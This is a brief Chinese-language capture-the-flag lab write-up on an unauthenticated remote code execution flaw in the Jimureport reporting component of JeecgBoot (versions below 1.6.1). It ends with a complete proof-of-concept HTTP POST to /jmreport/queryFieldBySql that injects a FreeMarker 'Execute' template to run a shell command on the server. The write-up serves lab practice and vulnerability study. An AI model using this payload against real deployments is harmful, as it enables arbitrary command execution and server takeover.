靶场介绍
JeecgBoot 是一个开源的低代码开发平台,Jimureport 是低代码报表组件之一。当前漏洞在 1.6.1 以下的 Jimureport 组件库中都存在,由于未授权的 API /jmreport/queryFieldBySql
使用了 freemarker 解析 SQL 语句从而导致了 RCE 漏洞的产生。
开启靶场
漏洞利用
在搜索POC时,会发现直接访问URL是404
随机点击一个文档编辑,发现路径是从jmreport开始的
poc
POST /jmreport/queryFieldBySql HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: */*
Accept-Encoding: gzip, deflate, br
Host: eci-2zefpkb9jv5tzsaox5zq.cloudeci1.ichunqiu.com:8080
Content-Type: application/json
Content-Length: 103
{"sql":"select '<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\" cat /flag \") }' "}